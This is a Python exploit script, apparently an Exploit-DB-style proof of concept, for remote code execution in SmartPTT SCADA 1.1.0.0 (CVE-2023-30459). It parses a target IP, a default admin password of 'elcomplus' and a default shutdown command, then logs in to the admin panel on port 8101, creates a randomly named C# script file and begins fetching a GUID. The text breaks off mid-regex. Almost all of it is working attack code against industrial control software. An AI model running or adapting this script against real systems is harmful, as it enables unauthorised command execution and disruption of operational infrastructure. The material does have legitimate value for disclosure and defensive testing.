#!/usr/bin/env python # -*- coding: utf-8 -*- # # Exploit Title: SmartPTT Scada 1.1.0.0 - Remote Code Execution # # Exploit Author: Toxi4 # CVE: * # Date: 2023/03/29 # Vulnerability discovered by Anton Kartunov # Vendor Homepage: https://smartptt.com # Software Link: https://dl.smartptt.com/scada/SmartPTT-SCADA-1.1.0.0.zip # Version: <= 1.1.0.0 # Tested on: Windows10x64 - SmartPTT Scada 1.1.0.0 - Remote Code Execution # #SmartPTT SCADA 1.1.0.0 allows remote code execution (when the attacker has administrator privileges) #by writing a malicious C# script and executing it on the server #(via server settings in the administrator control panel on port 8101, by default). # # Usage example: python CVE-2023-30459.py -t 192.168.0.103 -p elcomplus -cmd "shutdown /s /t 30" import requests import argparse import random import string import sys import re help = "SmartPTT Scada 1.1.0.0 - Remote Code Execution" parser = argparse.ArgumentParser(description=help) parser.add_argument("-t", "--target", help="Target IP", required=True) parser.add_argument("-p", "--password", help="Password", default="elcomplus") parser.add_argument("-cmd", "--command", help="Command", default="shutdown /s /t 30") args = parser.parse_args() host = args.target password = args.password cmd = args.command port = 8101 # Default Port s = requests.Session() headers = {"Content-Type": "application/x-www-form-urlencoded"} def random_string(chars): choices = [] for _ in range(chars): choices.append(random.choice(string.ascii_letters)) return "".join(choices) def auth(): url = "http://{}:{}/auth.html".format(host, port) data = "auth_password={}".format(password) try: s.post(url, data=data, headers = headers) print("[+] Authorization successful") except Exception as e: print("[-] Can't authorize") print(e) sys.exit() def Create_file(): url = "http://{}:{}/scripts.html".format(host, port) filename = random_string(5) + ".cs" data = "FileName={}&script_add=Add+Script".format(filename) try: s.post(url, data=data, headers = headers) print("[+] New script file created: ", filename) except Exception as e: print("[-] Can't create cs file") print(e) sys.exit() def Guid(): url = "http://{}:{}/scripts.html".format(host, port) try: GetGuid = s.get(url) Guid = re.search('